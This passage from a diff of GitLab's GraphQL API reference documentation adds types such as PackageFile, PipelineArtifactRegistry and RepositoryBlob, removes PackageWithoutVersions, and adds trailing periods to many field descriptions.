+| `pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. |
+| `project` | [`Project!`](#project) | Project where the package is stored. |
+| `tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. |
+| `updatedAt` | [`Time!`](#time) | Date of most recent update. |
+| `version` | [`String`](#string) | Version string. |
+| `versions` | [`PackageConnection`](#packageconnection) | The other versions of the package. |
+
### `PackageEdge`
An edge in a connection.
@@ -4406,20 +4678,56 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`Package`](#package) | The item at the end of the edge. |
+### `PackageFile`
+
+Represents a package file.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | [`Time!`](#time) | The created date. |
+| `downloadPath` | [`String!`](#string) | Download path of the package file. |
+| `fileMd5` | [`String`](#string) | Md5 of the package file. |
+| `fileMetadata` | [`PackageFileMetadata`](#packagefilemetadata) | File metadata. |
+| `fileName` | [`String!`](#string) | Name of the package file. |
+| `fileSha1` | [`String`](#string) | Sha1 of the package file. |
+| `fileSha256` | [`String`](#string) | Sha256 of the package file. |
+| `id` | [`PackagesPackageFileID!`](#packagespackagefileid) | ID of the file. |
+| `size` | [`String!`](#string) | Size of the package file. |
+| `updatedAt` | [`Time!`](#time) | The updated date. |
+
+### `PackageFileConnection`
+
+The connection type for PackageFile.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `edges` | [`[PackageFileEdge]`](#packagefileedge) | A list of edges. |
+| `nodes` | [`[PackageFile]`](#packagefile) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `PackageFileEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`PackageFile`](#packagefile) | The item at the end of the edge. |
+
### `PackageFileRegistry`
Represents the Geo sync and verification state of a package file.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createdAt` | [`Time`](#time) | Timestamp when the PackageFileRegistry was created |
-| `id` | [`ID!`](#id) | ID of the PackageFileRegistry |
-| `lastSyncFailure` | [`String`](#string) | Error message during sync of the PackageFileRegistry |
-| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the PackageFileRegistry |
+| `createdAt` | [`Time`](#time) | Timestamp when the PackageFileRegistry was created. |
+| `id` | [`ID!`](#id) | ID of the PackageFileRegistry. |
+| `lastSyncFailure` | [`String`](#string) | Error message during sync of the PackageFileRegistry. |
+| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the PackageFileRegistry. |
| `packageFileId` | [`ID!`](#id) | ID of the PackageFile. |
-| `retryAt` | [`Time`](#time) | Timestamp after which the PackageFileRegistry should be resynced |
-| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the PackageFileRegistry |
-| `state` | [`RegistryState`](#registrystate) | Sync state of the PackageFileRegistry |
+| `retryAt` | [`Time`](#time) | Timestamp after which the PackageFileRegistry should be resynced. |
+| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the PackageFileRegistry. |
+| `state` | [`RegistryState`](#registrystate) | Sync state of the PackageFileRegistry. |
### `PackageFileRegistryConnection`
@@ -4479,42 +4787,6 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`PackageTag`](#packagetag) | The item at the end of the edge. |
-### `PackageWithoutVersions`
-
-Represents a version of a package in the Package Registry.
-
-| Field | Type | Description |
-| ----- | ---- | ----------- |
-| `createdAt` | [`Time!`](#time) | Date of creation. |
-| `id` | [`PackagesPackageID!`](#packagespackageid) | ID of the package. |
-| `metadata` | [`PackageMetadata`](#packagemetadata) | Package metadata. |
-| `name` | [`String!`](#string) | Name of the package. |
-| `packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. |
-| `pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. |
-| `project` | [`Project!`](#project) | Project where the package is stored. |
-| `tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. |
-| `updatedAt` | [`Time!`](#time) | Date of most recent update. |
-| `version` | [`String`](#string) | Version string. |
-
-### `PackageWithoutVersionsConnection`
-
-The connection type for PackageWithoutVersions.
-
-| Field | Type | Description |
-| ----- | ---- | ----------- |
-| `edges` | [`[PackageWithoutVersionsEdge]`](#packagewithoutversionsedge) | A list of edges. |
-| `nodes` | [`[PackageWithoutVersions]`](#packagewithoutversions) | A list of nodes. |
-| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
-
-### `PackageWithoutVersionsEdge`
-
-An edge in a connection.
-
-| Field | Type | Description |
-| ----- | ---- | ----------- |
-| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
-| `node` | [`PackageWithoutVersions`](#packagewithoutversions) | The item at the end of the edge. |
-
### `PageInfo`
Information about pagination in a connection.
@@ -4522,8 +4794,8 @@ Information about pagination in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `endCursor` | [`String`](#string) | When paginating forwards, the cursor to continue. |
-| `hasNextPage` | [`Boolean!`](#boolean) | When paginating forwards, are there more items? |
-| `hasPreviousPage` | [`Boolean!`](#boolean) | When paginating backwards, are there more items? |
+| `hasNextPage` | [`Boolean!`](#boolean) | When paginating forwards, are there more items?. |
+| `hasPreviousPage` | [`Boolean!`](#boolean) | When paginating backwards, are there more items?. |
| `startCursor` | [`String`](#string) | When paginating backwards, the cursor to continue. |
### `Pipeline`
@@ -4535,7 +4807,7 @@ Information about pagination in a connection.
| `cancelable` | [`Boolean!`](#boolean) | Specifies if a pipeline can be canceled. |
| `commitPath` | [`String`](#string) | Path to the commit that triggered the pipeline. |
| `committedAt` | [`Time`](#time) | Timestamp of the pipeline's commit. |
-| `configSource` | [`PipelineConfigSourceEnum`](#pipelineconfigsourceenum) | Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE) |
+| `configSource` | [`PipelineConfigSourceEnum`](#pipelineconfigsourceenum) | Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE). |
| `coverage` | [`Float`](#float) | Coverage percentage. |
| `createdAt` | [`Time!`](#time) | Timestamp of the pipeline's creation. |
| `detailedStatus` | [`DetailedStatus!`](#detailedstatus) | Detailed status of the pipeline. |
@@ -4544,6 +4816,7 @@ Information about pagination in a connection.
| `finishedAt` | [`Time`](#time) | Timestamp of the pipeline's completion. |
| `id` | [`ID!`](#id) | ID of the pipeline. |
| `iid` | [`String!`](#string) | Internal ID of the pipeline. |
+| `job` | [`CiJob`](#cijob) | A specific job in this pipeline, either by name or ID. |
| `jobs` | [`CiJobConnection`](#cijobconnection) | Jobs belonging to the pipeline. |
| `path` | [`String`](#string) | Relative path to the pipeline's page. |
| `project` | [`Project`](#project) | Project the pipeline belongs to. |
@@ -4554,11 +4827,14 @@ Information about pagination in a connection.
| `sourceJob` | [`CiJob`](#cijob) | Job where pipeline was triggered from. |
| `stages` | [`CiStageConnection`](#cistageconnection) | Stages of the pipeline. |
| `startedAt` | [`Time`](#time) | Timestamp when the pipeline was started. |
-| `status` | [`PipelineStatusEnum!`](#pipelinestatusenum) | Status of the pipeline (CREATED, WAITING_FOR_RESOURCE, PREPARING, PENDING, RUNNING, FAILED, SUCCESS, CANCELED, SKIPPED, MANUAL, SCHEDULED) |
+| `status` | [`PipelineStatusEnum!`](#pipelinestatusenum) | Status of the pipeline (CREATED, WAITING_FOR_RESOURCE, PREPARING, PENDING, RUNNING, FAILED, SUCCESS, CANCELED, SKIPPED, MANUAL, SCHEDULED). |
+| `testReportSummary` | [`TestReportSummary!`](#testreportsummary) | Summary of the test report generated by the pipeline. |
+| `testSuite` | [`TestSuite`](#testsuite) | A specific test suite in a pipeline test report. |
| `updatedAt` | [`Time!`](#time) | Timestamp of the pipeline's last activity. |
| `upstream` | [`Pipeline`](#pipeline) | Pipeline that triggered the pipeline. |
| `user` | [`User`](#user) | Pipeline user. |
-| `userPermissions` | [`PipelinePermissions!`](#pipelinepermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`PipelinePermissions!`](#pipelinepermissions) | Permissions for the current user on the resource. |
+| `usesNeeds` | [`Boolean`](#boolean) | Indicates if the pipeline has jobs with `needs` dependencies. |
| `warnings` | [`Boolean!`](#boolean) | Indicates if a pipeline has warnings. |
### `PipelineAnalytics`
@@ -4577,6 +4853,40 @@ Information about pagination in a connection.
| `yearPipelinesSuccessful` | [`[Int!]`](#int) | Total yearly successful pipeline count. |
| `yearPipelinesTotals` | [`[Int!]`](#int) | Total yearly pipeline count. |
+### `PipelineArtifactRegistry`
+
+Represents the Geo sync and verification state of a pipeline artifact.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | [`Time`](#time) | Timestamp when the PipelineArtifactRegistry was created. |
+| `id` | [`ID!`](#id) | ID of the PipelineArtifactRegistry. |
+| `lastSyncFailure` | [`String`](#string) | Error message during sync of the PipelineArtifactRegistry. |
+| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the PipelineArtifactRegistry. |
+| `pipelineArtifactId` | [`ID!`](#id) | ID of the pipeline artifact. |
+| `retryAt` | [`Time`](#time) | Timestamp after which the PipelineArtifactRegistry should be resynced. |
+| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the PipelineArtifactRegistry. |
+| `state` | [`RegistryState`](#registrystate) | Sync state of the PipelineArtifactRegistry. |
+
+### `PipelineArtifactRegistryConnection`
+
+The connection type for PipelineArtifactRegistry.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `edges` | [`[PipelineArtifactRegistryEdge]`](#pipelineartifactregistryedge) | A list of edges. |
+| `nodes` | [`[PipelineArtifactRegistry]`](#pipelineartifactregistry) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `PipelineArtifactRegistryEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`PipelineArtifactRegistry`](#pipelineartifactregistry) | The item at the end of the edge. |
+
### `PipelineCancelPayload`
Autogenerated return type of PipelineCancel.
@@ -4619,9 +4929,9 @@ An edge in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_pipeline` on this resource |
-| `destroyPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pipeline` on this resource |
-| `updatePipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pipeline` on this resource |
+| `adminPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_pipeline` on this resource. |
+| `destroyPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pipeline` on this resource. |
+| `updatePipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pipeline` on this resource. |
### `PipelineRetryPayload`
@@ -4683,7 +4993,7 @@ An edge in a connection.
| `alertManagementIntegrations` | [`AlertManagementIntegrationConnection`](#alertmanagementintegrationconnection) | Integrations which can receive alerts for the project. |
| `alertManagementPayloadFields` | [`[AlertManagementPayloadAlertField!]`](#alertmanagementpayloadalertfield) | Extract alert fields from payload for custom mapping. |
| `allowMergeOnSkippedPipeline` | [`Boolean`](#boolean) | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs. |
-| `apiFuzzingCiConfiguration` | [`ApiFuzzingCiConfiguration`](#apifuzzingciconfiguration) | API fuzzing configuration for the project. Available only when feature flag `api_fuzzing_configuration_ui` is enabled. |
+| `apiFuzzingCiConfiguration` | [`ApiFuzzingCiConfiguration`](#apifuzzingciconfiguration) | API fuzzing configuration for the project. |
| `archived` | [`Boolean`](#boolean) | Indicates the archived status of the project. |
| `autocloseReferencedIssues` | [`Boolean`](#boolean) | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically. |
| `avatarUrl` | [`String`](#string) | URL to avatar image file of the project. |
@@ -4705,7 +5015,7 @@ An edge in a connection.
| `dastSiteProfiles` | [`DastSiteProfileConnection`](#dastsiteprofileconnection) | DAST Site Profiles associated with the project. |
| `dastSiteValidations` | [`DastSiteValidationConnection`](#dastsitevalidationconnection) | DAST Site Validations associated with the project. |
| `description` | [`String`](#string) | Short description of the project. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `environment` | [`Environment`](#environment) | A single environment of the project. |
| `environments` | [`EnvironmentConnection`](#environmentconnection) | Environments of the project. |
| `forksCount` | [`Int!`](#int) | Number of times the project has been forked. |
@@ -4719,11 +5029,12 @@ An edge in a connection.
| `issue` | [`Issue`](#issue) | A single issue of the project. |
| `issueStatusCounts` | [`IssueStatusCountsType`](#issuestatuscountstype) | Counts of issues by status for the project. |
| `issues` | [`IssueConnection`](#issueconnection) | Issues of the project. |
-| `issuesEnabled` | [`Boolean`](#boolean) | Indicates if Issues are enabled for the current user |
+| `issuesEnabled` | [`Boolean`](#boolean) | Indicates if Issues are enabled for the current user. |
| `iterationCadences` | [`IterationCadenceConnection`](#iterationcadenceconnection) | Find iteration cadences. |
| `iterations` | [`IterationConnection`](#iterationconnection) | Find iterations. |
| `jiraImportStatus` | [`String`](#string) | Status of Jira import background job of the project. |
| `jiraImports` | [`JiraImportConnection`](#jiraimportconnection) | Jira imports into the project. |
+| `jobs` | [`CiJobConnection`](#cijobconnection) | Jobs of a project. This field can only be resolved for one project in any single request. |
| `jobsEnabled` | [`Boolean`](#boolean) | Indicates if CI/CD pipeline jobs are enabled for the current user. |
| `label` | [`Label`](#label) | A label available on this project. |
| `labels` | [`LabelConnection`](#labelconnection) | Labels available on this project. |
@@ -4731,7 +5042,7 @@ An edge in a connection.
| `lfsEnabled` | [`Boolean`](#boolean) | Indicates if the project has Large File Storage (LFS) enabled. |
| `mergeRequest` | [`MergeRequest`](#mergerequest) | A single merge request of the project. |
| `mergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests of the project. |
-| `mergeRequestsEnabled` | [`Boolean`](#boolean) | Indicates if Merge Requests are enabled for the current user |
+| `mergeRequestsEnabled` | [`Boolean`](#boolean) | Indicates if Merge Requests are enabled for the current user. |
| `mergeRequestsFfOnlyEnabled` | [`Boolean`](#boolean) | Indicates if no merge commits should be created and all merges should instead be fast-forwarded, which means that merging is only allowed if the branch could be fast-forwarded. |
| `milestones` | [`MilestoneConnection`](#milestoneconnection) | Milestones of the project. |
| `name` | [`String!`](#string) | Name of the project (without namespace). |
@@ -4768,7 +5079,7 @@ An edge in a connection.
| `services` | [`ServiceConnection`](#serviceconnection) | Project services. |
| `sharedRunnersEnabled` | [`Boolean`](#boolean) | Indicates if shared runners are enabled for the project. |
| `snippets` | [`SnippetConnection`](#snippetconnection) | Snippets of the project. |
-| `snippetsEnabled` | [`Boolean`](#boolean) | Indicates if Snippets are enabled for the current user |
+| `snippetsEnabled` | [`Boolean`](#boolean) | Indicates if Snippets are enabled for the current user. |
| `squashReadOnly` | [`Boolean!`](#boolean) | Indicates if `squashReadOnly` is enabled. |
| `sshUrlToRepo` | [`String`](#string) | URL to connect to the project via SSH. |
| `starCount` | [`Int!`](#int) | Number of times the project has been starred. |
@@ -4777,14 +5088,14 @@ An edge in a connection.
| `tagList` | [`String`](#string) | List of project topics (not Git tags). |
| `terraformState` | [`TerraformState`](#terraformstate) | Find a single Terraform state by name. |
| `terraformStates` | [`TerraformStateConnection`](#terraformstateconnection) | Terraform states associated with the project. |
-| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource. |
| `visibility` | [`String`](#string) | Visibility of the project. |
| `vulnerabilities` | [`VulnerabilityConnection`](#vulnerabilityconnection) | Vulnerabilities reported on the project. |
| `vulnerabilitiesCountByDay` | [`VulnerabilitiesCountByDayConnection`](#vulnerabilitiescountbydayconnection) | Number of vulnerabilities per day for the project. |
| `vulnerabilityScanners` | [`VulnerabilityScannerConnection`](#vulnerabilityscannerconnection) | Vulnerability scanners reported on the project vulnerabilities. |
| `vulnerabilitySeveritiesCount` | [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount) | Counts for each vulnerability severity in the project. |
| `webUrl` | [`String`](#string) | Web URL of the project. |
-| `wikiEnabled` | [`Boolean`](#boolean) | Indicates if Wikis are enabled for the current user |
+| `wikiEnabled` | [`Boolean`](#boolean) | Indicates if Wikis are enabled for the current user. |
### `ProjectCiCdSetting`
@@ -4828,7 +5139,7 @@ Represents a Project Membership.
| `project` | [`Project`](#project) | Project that User is a member of. |
| `updatedAt` | [`Time`](#time) | Date and time the membership was last updated. |
| `user` | [`User!`](#user) | User that is associated with the member object. |
-| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource. |
### `ProjectMemberConnection`
@@ -4853,48 +5164,48 @@ An edge in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminOperations` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_operations` on this resource |
-| `adminProject` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_project` on this resource |
-| `adminRemoteMirror` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_remote_mirror` on this resource |
-| `adminWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_wiki` on this resource |
-| `archiveProject` | [`Boolean!`](#boolean) | Indicates the user can perform `archive_project` on this resource |
-| `changeNamespace` | [`Boolean!`](#boolean) | Indicates the user can perform `change_namespace` on this resource |
-| `changeVisibilityLevel` | [`Boolean!`](#boolean) | Indicates the user can perform `change_visibility_level` on this resource |
-| `createDeployment` | [`Boolean!`](#boolean) | Indicates the user can perform `create_deployment` on this resource |
-| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource |
-| `createIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `create_issue` on this resource |
-| `createLabel` | [`Boolean!`](#boolean) | Indicates the user can perform `create_label` on this resource |
-| `createMergeRequestFrom` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_from` on this resource |
-| `createMergeRequestIn` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_in` on this resource |
-| `createPages` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pages` on this resource |
-| `createPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline` on this resource |
-| `createPipelineSchedule` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline_schedule` on this resource |
-| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource |
-| `createWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `create_wiki` on this resource |
-| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource |
-| `destroyPages` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pages` on this resource |
-| `destroyWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_wiki` on this resource |
-| `downloadCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_code` on this resource |
-| `downloadWikiCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_wiki_code` on this resource |
-| `forkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `fork_project` on this resource |
-| `pushCode` | [`Boolean!`](#boolean) | Indicates the user can perform `push_code` on this resource |
-| `pushToDeleteProtectedBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_delete_protected_branch` on this resource |
-| `readCommitStatus` | [`Boolean!`](#boolean) | Indicates the user can perform `read_commit_status` on this resource |
-| `readCycleAnalytics` | [`Boolean!`](#boolean) | Indicates the user can perform `read_cycle_analytics` on this resource |
-| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource |
-| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource |
-| `readPagesContent` | [`Boolean!`](#boolean) | Indicates the user can perform `read_pages_content` on this resource |
-| `readProject` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project` on this resource |
-| `readProjectMember` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project_member` on this resource |
-| `readWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `read_wiki` on this resource |
-| `removeForkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_fork_project` on this resource |
-| `removePages` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_pages` on this resource |
-| `removeProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_project` on this resource |
-| `renameProject` | [`Boolean!`](#boolean) | Indicates the user can perform `rename_project` on this resource |
-| `requestAccess` | [`Boolean!`](#boolean) | Indicates the user can perform `request_access` on this resource |
-| `updatePages` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pages` on this resource |
-| `updateWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `update_wiki` on this resource |
-| `uploadFile` | [`Boolean!`](#boolean) | Indicates the user can perform `upload_file` on this resource |
+| `adminOperations` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_operations` on this resource. |
+| `adminProject` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_project` on this resource. |
+| `adminRemoteMirror` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_remote_mirror` on this resource. |
+| `adminWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_wiki` on this resource. |
+| `archiveProject` | [`Boolean!`](#boolean) | Indicates the user can perform `archive_project` on this resource. |
+| `changeNamespace` | [`Boolean!`](#boolean) | Indicates the user can perform `change_namespace` on this resource. |
+| `changeVisibilityLevel` | [`Boolean!`](#boolean) | Indicates the user can perform `change_visibility_level` on this resource. |
+| `createDeployment` | [`Boolean!`](#boolean) | Indicates the user can perform `create_deployment` on this resource. |
+| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource. |
+| `createIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `create_issue` on this resource. |
+| `createLabel` | [`Boolean!`](#boolean) | Indicates the user can perform `create_label` on this resource. |
+| `createMergeRequestFrom` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_from` on this resource. |
+| `createMergeRequestIn` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_in` on this resource. |
+| `createPages` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pages` on this resource. |
+| `createPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline` on this resource. |
+| `createPipelineSchedule` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline_schedule` on this resource. |
+| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource. |
+| `createWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `create_wiki` on this resource. |
+| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource. |
+| `destroyPages` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pages` on this resource. |
+| `destroyWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_wiki` on this resource. |
+| `downloadCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_code` on this resource. |
+| `downloadWikiCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_wiki_code` on this resource. |
+| `forkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `fork_project` on this resource. |
+| `pushCode` | [`Boolean!`](#boolean) | Indicates the user can perform `push_code` on this resource. |
+| `pushToDeleteProtectedBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_delete_protected_branch` on this resource. |
+| `readCommitStatus` | [`Boolean!`](#boolean) | Indicates the user can perform `read_commit_status` on this resource. |
+| `readCycleAnalytics` | [`Boolean!`](#boolean) | Indicates the user can perform `read_cycle_analytics` on this resource. |
+| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource. |
+| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource. |
+| `readPagesContent` | [`Boolean!`](#boolean) | Indicates the user can perform `read_pages_content` on this resource. |
+| `readProject` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project` on this resource. |
+| `readProjectMember` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project_member` on this resource. |
+| `readWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `read_wiki` on this resource. |
+| `removeForkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_fork_project` on this resource. |
+| `removePages` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_pages` on this resource. |
+| `removeProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_project` on this resource. |
+| `renameProject` | [`Boolean!`](#boolean) | Indicates the user can perform `rename_project` on this resource. |
+| `requestAccess` | [`Boolean!`](#boolean) | Indicates the user can perform `request_access` on this resource. |
+| `updatePages` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pages` on this resource. |
+| `updateWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `update_wiki` on this resource. |
+| `uploadFile` | [`Boolean!`](#boolean) | Indicates the user can perform `upload_file` on this resource. |
### `ProjectStatistics`
@@ -4968,6 +5279,15 @@ Represents rules that commit pushes must follow.
| ----- | ---- | ----------- |
| `rejectUnsignedCommits` | [`Boolean!`](#boolean) | Indicates whether commits not signed through GPG will be rejected. |
+### `RecentFailures`
+
+Recent failure history of a test case.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `baseBranch` | [`String`](#string) | Name of the base branch of the project. |
+| `count` | [`Int`](#int) | Number of times the test case has failed in the past 14 days. |
+
### `Release`
Represents a release.
@@ -4979,7 +5299,7 @@ Represents a release.
| `commit` | [`Commit`](#commit) | The commit associated with the release. |
| `createdAt` | [`Time`](#time) | Timestamp of when the release was created. |
| `description` | [`String`](#string) | Description (also known as "release notes") of the release. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `evidences` | [`ReleaseEvidenceConnection`](#releaseevidenceconnection) | Evidence for the release. |
| `links` | [`ReleaseLinks`](#releaselinks) | Links of the release. |
| `milestones` | [`MilestoneConnection`](#milestoneconnection) | Milestones associated to the release. |
@@ -5022,6 +5342,16 @@ Autogenerated return type of ReleaseAssetLinkCreate.
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| `link` | [`ReleaseAssetLink`](#releaseassetlink) | The asset link after mutation. |
+### `ReleaseAssetLinkDeletePayload`
+
+Autogenerated return type of ReleaseAssetLinkDelete.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| `link` | [`ReleaseAssetLink`](#releaseassetlink) | The deleted release asset link. |
+
### `ReleaseAssetLinkEdge`
An edge in a connection.
@@ -5204,11 +5534,44 @@ Autogenerated return type of RepositionImageDiffNote.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `blobs` | [`RepositoryBlobConnection`](#repositoryblobconnection) | Blobs contained within the repository. |
+| `branchNames` | [`[String!]`](#string) | Names of branches available in this repository that match the search pattern. |
| `empty` | [`Boolean!`](#boolean) | Indicates repository has no visible content. |
| `exists` | [`Boolean!`](#boolean) | Indicates a corresponding Git repository exists on disk. |
| `rootRef` | [`String`](#string) | Default branch of the repository. |
| `tree` | [`Tree`](#tree) | Tree of the repository. |
+### `RepositoryBlob`
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `id` | [`ID!`](#id) | ID of the blob. |
+| `lfsOid` | [`String`](#string) | LFS OID of the blob. |
+| `mode` | [`String`](#string) | Blob mode. |
+| `name` | [`String`](#string) | Blob name. |
+| `oid` | [`String!`](#string) | OID of the blob. |
+| `path` | [`String!`](#string) | Path of the blob. |
+| `webPath` | [`String`](#string) | Web path of the blob. |
+
+### `RepositoryBlobConnection`
+
+The connection type for RepositoryBlob.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `edges` | [`[RepositoryBlobEdge]`](#repositoryblobedge) | A list of edges. |
+| `nodes` | [`[RepositoryBlob]`](#repositoryblob) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `RepositoryBlobEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`RepositoryBlob`](#repositoryblob) | The item at the end of the edge. |
+
### `Requirement`
Represents a requirement.
@@ -5218,7 +5581,7 @@ Represents a requirement.
| `author` | [`User!`](#user) | Author of the requirement. |
| `createdAt` | [`Time!`](#time) | Timestamp of when the requirement was created. |
| `description` | [`String`](#string) | Description of the requirement. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `id` | [`ID!`](#id) | ID of the requirement. |
